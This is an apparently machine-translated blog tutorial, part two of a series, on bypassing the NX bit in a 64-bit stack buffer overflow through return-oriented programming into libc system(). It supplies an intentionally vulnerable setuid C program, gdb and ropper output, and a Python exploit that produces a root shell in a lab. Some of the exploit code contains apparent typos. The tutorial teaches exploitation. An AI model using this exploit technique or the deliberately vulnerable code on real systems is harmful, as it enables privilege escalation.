en:it-security:blog:buffer_overflow_x64-2

Approved 2024/04/14 12:42 by psycore (version: 2) | Approver: psycore

Buffer overflow in the 64-bit stack - Part 2

In the second part, we activate the NX bit, which is intended to protect us from buffer overflows. To keep things fun, we will of course override this protection directly. We achieve this by passing the command to be executed to the libc-Funktion system() is forwarded. This tutorial is fundamentally based on the work of superkojiman 1)

Further information on ROP (Return Oriented Programming) and the basics of buffer overflows can be found in the link collection at the end. 2) 3)

Attention!

The techniques and methods in this article are for learning purposes only. Misuse is punishable!

The tutorial by superkojiman shows how the registers are overwritten step by step. To understand the process, we can debug the kompilierte debug binary from the blog.

br *vuln+73								# setze Breakpoint
r < in.txt								# in.txt wird vom Python Script erzeugt
...									# Breakpoint
RDI: 0x7ffff7fa0a30 --> 0x0 
RBP: 0x4141414141414141 ('AAAAAAAA')					# RBP ist überschrieben
RSP: 0x7fffffffddc8 --> 0x4006a3 (<__libc_csu_init+99>: pop    rdi)	# RSP mit pop rdi Gadget
RIP: 0x40060f (<vuln+73>:       ret)
gdb-peta$ si
...
RDI: 0x7ffff7fa0a30 --> 0x0 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffddd0 --> 0x4006ff --> 0x68732f6e69622f ('/bin/sh')	# Pointer nach /bin/sh
RIP: 0x4006a3 (<__libc_csu_init+99>:    pop    rdi)			# pop rdi wurde auf RIP geschrieben
gdb-peta$ si
...
RDI: 0x4006ff --> 0x68732f6e69622f ('/bin/sh')				# Pointer wurde auf rdi geschrieben
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffddd8 --> 0x400469 (<_init+25>:   ret)			# NOP
RIP: 0x4006a4 (<__libc_csu_init+100>:   ret)
gdb-peta$ si
...
RDI: 0x4006ff --> 0x68732f6e69622f ('/bin/sh')
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7...fdde0 --> 0x7ffff7e17920 (<__libc_system>: test   rdi,rdi)	# system("/bin/sh")
RIP: 0x400469 (<_init+25>:      ret)



What is needed?

In addition to the tools from Part 1, we also need ropper.

sudo apt install ropper



ASLR must also be deactivated here in order to maintain constant memory areas. In Teil 1, describes what needs to be done to do this.

The original tutorial is a bit older, so the source code could not be copied 1:1. On the one hand, the UID and EUID had to be set additionally 4), on the other hand /bin/sh no longer works in this way. 5)

Since there is a pop rdi; ret; gadget was missing, I created a corresponding function.

/* Code https://blog.techorganic.com/2015/04/21/64-bit-linux-stack-smashing-tutorial-part-2/ */
/* Changes by https://www.nosociety.de/it-security:blog:buffer_overflow_x64-2 */
/* Compile: gcc -fno-stack-protector -no-pie bof-part2.c -o bof-part2      */
/* Disable ASLR: echo 0 > /proc/sys/kernel/randomize_va_space     */
 
#include <stdio.h>
#include <unistd.h>
 
int gadg() {
 asm ("pop %rdi");
 asm ("ret");
 return 0;
}
 
int vuln() {
    char buf[80];
    int r;
    r = read(0, buf, 400);
    printf("\nRead %d bytes. buf is %s\n", r, buf);
    puts("No shell for you :(");
    return 0;
}
 
int main(int argc, char *argv[]) {
    setuid(0);
    seteuid(0);
    printf("Try to exec /bin/zsh --interactive");
    vuln();
    return 0;
}



Now we compile the programme. It is important that the no-pie parameter is set. The user provides an explanation b4551k5 for this:

It seems that gcc build PIE (position indep. exec.). You can check this using “readelf -e <executable>”. If at the top (the header), Type is “DYN (shared…” then it is PIE and gets loaded at random base address. You can rebuild the code using “-no-pie” as compile flag to tell the linker you want to build an executable. This should result in 0x400000 as base address as in the examples above.
gcc -fno-stack-protector -no-pie bof-part2.c -o bof-part2   



We need 2 gadgets to create the exploit. To do this, we start ropper and display the gadgets

ropper --file bof-part2
...
0x000000000040116a: pop rdi; ret;
...
0x0000000000401016: ret;

We need 40116ato move our argument from RSP to RDI and 401016 is a NOP function that shifts RSP by 8 bytes. 6)

Now we still need 2 offsets for the exploit. So we load our file into the debugger and start it:

gdb-peda$ start
...
gdb-peda$ p system
$1 = {int (const char *)} 0x7ffff7e17920 <__libc_system>
 
gdb-peda$ find "/bin/zsh --interactive"
 
Searching for '/bin/zsh --interactive' in: None ranges
Found 2 results, display max 2 items:
bof-part2 : 0x402044 ("/bin/zsh --interactive")
bof-part2 : 0x403044 ("/bin/zsh --interactive")

The offset 0x7ffff7e17920 is the address of system()our libc call. 0x402044 is the address of our parameter that we send to system() we want to pass. Now we have all the necessary parameters to build the corresponding buffer in the exploit.

/usr/bin/env python
 
from struct import *
 
buf = ""
buf += "A "*104 # junk   
buf += pack(" <Q", 0x000000000040116a) # pop rdi; ret;
buf += pack("<Q", 0x402044) # pointer to "/bin/zsh --interactive" gets popped into rdi
buf += pack("<Q", 0x0000000000401016) # 8 bytes NOP
buf += pack("<Q", 0x7ffff7e17920) # address of system()
 
f = open("in.txt", "w")
f.write(buf)



Now we run our Python exploit and create the file in.txt.

python2 buffer.py



Our file still needs the appropriate root permissions.

sudo chown root bof-part2
sudo chmod 4755 bof-part2



Now we start our programme and pass our buffer as an argument.

(cat in.txt | cat) | ./bof-part2
Upgrade the shell to root

Our user shell is upgraded to the root shell and we have achieved our goal.

Project files nosoc-repo-bof-part2.zip ZIP
Size 4.00 KB
Checksum (SHA256) 88bda11b4652344bb9113a400b79e78abf028ef5eb89a74538061c96e2d306e5

Enter your comment:
60 +3 = 
 
  • en/it-security/blog/buffer_overflow_x64-2.txt
  • Last modified: 2024/04/14 12:42
  • by psycore